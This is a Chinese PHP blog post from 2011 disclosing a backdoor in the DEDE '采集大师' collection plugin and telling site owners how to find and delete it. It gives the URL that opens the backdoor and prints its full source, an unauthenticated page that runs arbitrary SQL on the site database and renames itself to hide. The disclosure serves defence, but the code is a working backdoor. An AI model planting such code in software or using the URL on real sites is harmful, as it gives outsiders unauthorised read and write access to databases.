DEDE采集大师官方留后门的删除办法


Posted in PHP onJanuary 08, 2011

去除官方后门方法:安装好采集大师后,请立即删除 include目录下的dedesql.query.php文件,如已经安装过,有可能文件已被改名为arc.sqlquery.class.php,找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库,并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说,方法:
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址,即可打开后门界面。
说实话,会故意留后门的程序,最好的方法就是别用。这个后门被发现了,天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下:

<?php 
require_once(dirname(__FILE__)."/../include/common.inc.php"); 
if(emptyempty($dopost)) 
{ 
$dopost = ""; 
} 
if($dopost=="rename") 
{ 
if(rename('dedesql.query.php','arc.sqlquery.class.php')){ 
echo "成功!"; 
}else{ 
echo "失败!"; 
} 
exit(); 
} 
if($dopost=="viewinfo") 
{ 
if(emptyempty($tablename)) 
{ 
echo "没有指定表名!"; 
} 
else 
{ 
$dsql->SetQuery("SHOW CREATE TABLE ".$dsql->dbName.".".$tablename); 
$dsql->Execute('me'); 
$row2 = $dsql->GetArray('me',MYSQL_BOTH); 
$ctinfo = $row2[1]; 
echo "<xmp>".trim($ctinfo)."</xmp>"; 
} 
exit(); 
} 
if($dopost=="index") 
{ 
require_once(DEDEINC.'/arc.partview.class.php'); 
$envs = $_sys_globals = array(); 
$envs['aid'] = 0; 
$pv = new PartView(); 
$row = $pv->dsql->GetOne('Select * From `#@__homepageset`'); 
$templet = str_replace("{style}",$cfg_df_style,$row['templet']); 
$homeFile = dirname(__FILE__).'/'.$row['position']; 
$homeFile = str_replace("//","/",str_replace("\\","/",$homeFile)); 
$fp = fopen($homeFile,'w') or die("无法更新网站主页到:$homeFile 位置"); 
fclose($fp); 
$tpl = $cfg_basedir.$cfg_templets_dir.'/'.$templet; 
$pv->SetTemplet($tpl); 
$pv->SaveToHtml($homeFile); 
$pv->Close(); 
echo "成功更新首页!"; 
exit(); 
} 
else if($dopost=="query") 
{ 
$sqlquery = trim(stripslashes($sqlquery)); 
if(eregi("drop(.*)table",$sqlquery) ||eregi("drop(.*)database",$sqlquery)) 
{ 
echo "<span style='font-size:10pt'>删除'数据表'或'数据库'的语句不允许在这里执行。</span>"; 
exit(); 
} 
if(eregi("^select ",$sqlquery)) 
{ 
$dsql->SetQuery($sqlquery); 
$dsql->Execute(); 
if($dsql->GetTotalRow()<=0) 
{ 
echo "运行SQL:{$sqlquery},无返回记录!"; 
} 
else 
{ 
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!"; 
} 
$j = 0; 
while($row = $dsql->GetArray()) 
{ 
$j++; 
if($j>100) 
{ 
break; 
} 
echo "<hr size=1 width='100%'/>"; 
echo "记录:$j"; 
echo "<hr size=1 width='100%'/>"; 
foreach($row as $k=>$v) 
{ 
echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n"; 
} 
} 
exit(); 
} 
if($querytype==2) 
{ 
$sqlquery = str_replace("\r","",$sqlquery); 
$sqls = split(";[ \t]{0,}\n",$sqlquery); 
$nerrCode = "";$i=0; 
foreach($sqls as $q) 
{ 
$q = trim($q); 
if($q=="") 
{ 
continue; 
} 
$dsql->ExecuteNoneQuery($q); 
$errCode = trim($dsql->GetError()); 
if($errCode=="") 
{ 
$i++; 
} 
else 
{ 
$nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>"; 
} 
} 
echo "成功执行{$i}个SQL语句!<br><br>"; 
echo $nerrCode; 
} 
else 
{ 
$dsql->ExecuteNoneQuery($sqlquery); 
$nerrCode = trim($dsql->GetError()); 
echo "成功执行1个SQL语句!<br><br>"; 
echo $nerrCode; 
} 
exit(); 
} 
if($dopost=="view") 
{ 
;echo '<html> 
<head> 
<meta http-equiv=\'Content-Type\' content=\'text/html; charset=gb2312\'> 
<title>SQL命令行工具</title> 
<link href=\'img/base.css\' rel=\'stylesheet\' type=\'text/css\'> 
</head> 
<body background=\'img/allbg.gif\' leftmargin=\'8\' topmargin=\'8\'> 
<table width="98%" border="0" align="center" cellpadding="3" cellspacing="1" bgcolor="#D1DDAA"> 
<tr> 
<td height="19" background="img/tbg.gif"> 
<table width="96%" border="0" cellspacing="1" cellpadding="1"> 
<tr> 
<td width="24%"><strong>SQL命令运行器:</strong></td> 
<td width="76%" align="right"> <b><a href="sys_data.php"><u>数据备份</u></a></b> 
| <b><a href="sys_data_revert.php"><strong><u>数据还原</u></strong></a></b> 
</td> 
</tr> 
</table> 
</td> 
</tr> 
<tr> 
<td height="200" bgcolor="#FFFFFF" valign="top"> 
<table width="100%" border="0" cellspacing="4" cellpadding="2"> 
<form action="" method="post" name="infoform" target="stafrm"> 
<input type=\'hidden\' name=\'dopost\' value=\'viewinfo\' /> 
<tr bgcolor="#F3FBEC"> 
<td width="15%" height="24" align="center">系统的表信息:</td> 
<td> 
<table width="100%" border="0" cellspacing="0" cellpadding="0"> 
<tr> 
<td width="35%"> 
<select name="tablename" id="tablename" style="width:100%" size="6"> 
'; 
$dsql->SetQuery("Show Tables"); 
$dsql->Execute('t'); 
while($row = $dsql->GetArray('t',MYSQL_BOTH)) 
{ 
$dsql->SetQuery("Select count(*) From ".$row[0]); 
$dsql->Execute('n'); 
$row2 = $dsql->GetArray('n',MYSQL_BOTH); 
$dd = $row2[0]; 
echo " <option value='".$row[0]."'>".$row[0]."(".$dd.")</option>\r\n"; 
} 
;echo ' </select> 
</td> 
<td width="2%"> </td> 
<td width="63%" valign="bottom"> 
<div style="float:left;margin-right:20px;"> 
<input type="Submit" name="Submit1" value="优化选中表" class="coolbg np" onClick="this.form.dopost.value=\'opimize\';" /> 
<br /> 
<input type="Submit" name="Submit2" value="修复选中表" class="coolbg np" onClick="this.form.dopost.value=\'repair\';" style="margin-top:6px;" /> 
<br /> 
<input type="Submit" name="Submit3" value="查看表结构" class="coolbg np" onClick="this.form.dopost.value=\'viewinfo\';" style="margin-top:6px;" /> 
</div> 
<div style="float:left"> 
<input type="Submit" name="Submit5" value="优化全部表" class="coolbg np" onClick="this.form.dopost.value=\'opimizeAll\';" /> 
<br /> 
<input type="Submit" name="Submit6" value="修复全部表" class="coolbg np" onClick="this.form.dopost.value=\'repairAll\';" style="margin-top:6px;" /> 
</div> 
</td> 
</tr> 
</table></td> 
</tr> 
<tr> 
<td height="200" align="center">返回信息:</td> 
<td> 
<iframe name="stafrm" frameborder="0" id="stafrm" width="100%" height="100%"></iframe> 
</td> 
</tr> 
</form> 
<form action="" method="post" name="form1" target="stafrm"> 
<input type=\'hidden\' name=\'dopost\' value=\'query\'> 
<tr> 
<td height="24" colspan="2" bgcolor="#F3FBEC"><strong>运行SQL命令行: 
<input name="querytype" type="radio" class="np" value="0"> 
单行命令(支持简单查询) 
<input name="querytype" type="radio" class="np" value="2" checked> 
多行命令</strong></td> 
</tr> 
<tr> 
<td height="118" colspan="2"> 
<textarea name="sqlquery" cols="60" rows="10" id="sqlquery" style="width:90%"></textarea> 
</td> 
</tr> 
<tr> 
<td height="53" align="center"> </td> 
<td> 
<input name="imageField" type="image" src="img/button_ok.gif" width="60" height="22" border="0" class=\'np\' /> 
</td> 
</tr> 
</form> 
</table> 
</td> 
</tr> 
</table> 
</body> 
</html> 
';} 
?>
PHP 相关文章推荐
php中使用__autoload()自动加载未定义类的实现代码
Feb 06 PHP
探讨:如何通过stats命令分析Memcached的内部状态
Jun 14 PHP
php fsockopen解决办法 php实现多线程
Jan 20 PHP
php中ob_flush函数和flush函数用法分析
Mar 18 PHP
PHP日期函数date格式化UNIX时间的方法
Mar 19 PHP
ubuntu下配置nginx+php+mysql详解
Sep 10 PHP
php判断手机浏览还是web浏览,并执行相应的动作简单实例
Jul 28 PHP
PHP给源代码加密的几种方法汇总(推荐)
Feb 06 PHP
PHP实现搜索时记住状态的方法示例
May 11 PHP
php 提交表单 关闭layer弹窗iframe的实例讲解
Aug 20 PHP
php图片裁剪函数
Oct 31 PHP
PDO::query讲解
Jan 29 PHP
php !function_exists(&quot;T7FC56270E7A70FA81A5935B72EACBE29&quot;))代码解密
Jan 07 #PHP
PHP备份/还原MySQL数据库的代码
Jan 06 #PHP
php循环检测目录是否存在并创建(循环创建目录)
Jan 06 #PHP
全局记录程序片段的运行时间 正确找到程序逻辑耗时多的断点
Jan 06 #PHP
Discuz Uchome ajaxpost小技巧
Jan 04 #PHP
php INI配置文件的解析实现分析
Jan 04 #PHP
PHP strncasecmp字符串比较的小技巧
Jan 04 #PHP
You might like
php自动注册登录验证机制实现代码
2011/12/20 PHP
php快速查找数据库中恶意代码的方法
2015/04/01 PHP
PHP简单获取多个checkbox值的方法
2016/06/13 PHP
php use和include区别总结
2019/10/13 PHP
php 多进程编程父进程的阻塞与非阻塞实例分析
2020/02/22 PHP
PHP实现基本留言板功能原理与步骤详解
2020/03/26 PHP
Laravel 框架路由原理与路由访问实例分析
2020/04/14 PHP
AJAX分页的代码(后台asp.net)
2011/02/14 Javascript
js setTimeout 常见问题小结
2013/08/13 Javascript
JS滚轮事件onmousewheel使用介绍
2013/11/01 Javascript
JS复制内容到剪切板的实例代码(兼容IE与火狐)
2013/11/19 Javascript
node.js WEB开发中图片验证码的实现方法
2014/06/03 Javascript
Jquery 实现图片轮换
2015/01/28 Javascript
JS实现固定在右下角可展开收缩DIV层的方法
2015/02/13 Javascript
JavaScript搜索字符串并将搜索结果返回到字符串的方法
2015/04/06 Javascript
跟我学习javascript的垃圾回收机制与内存管理
2015/11/23 Javascript
jquery关于事件冒泡和事件委托的技巧及阻止与允许事件冒泡的三种实现方法
2015/11/27 Javascript
js实现仿微博滚动显示信息的效果
2015/12/21 Javascript
jQuery简单实现遍历单选框的方法
2017/03/06 Javascript
Node.js 的模块知识汇总
2017/08/16 Javascript
原生js实现随机点名功能
2019/11/05 Javascript
jQuery使用jsonp实现百度搜索的示例代码
2020/07/08 jQuery
[36:05]DOTA2亚洲邀请赛 3.31 小组赛 A组 Liquid vs Optic
2018/04/01 DOTA
[01:47]2018年度DOTA2最具人气解说-完美盛典
2018/12/16 DOTA
Python使用turtule画五角星的方法
2015/07/09 Python
使用python实现省市三级菜单效果
2016/01/20 Python
Python按行读取文件的实现方法【小文件和大文件读取】
2016/09/19 Python
python multiprocessing模块用法及原理介绍
2019/08/20 Python
python爬虫今日热榜数据到txt文件的源码
2021/02/23 Python
Skyscanner波兰:廉价航班
2017/11/07 全球购物
戴尔新加坡官网:Dell Singapore
2020/12/13 全球购物
中秋节寄语2015
2015/03/24 职场文书
老舍《猫》教学反思
2016/02/17 职场文书
Python 如何安装Selenium
2021/05/06 Python
Python 数据结构之十大经典排序算法一文通关
2021/10/16 Python
tomcat正常启动但网页却无法访问的几种解决方法
2022/05/06 Servers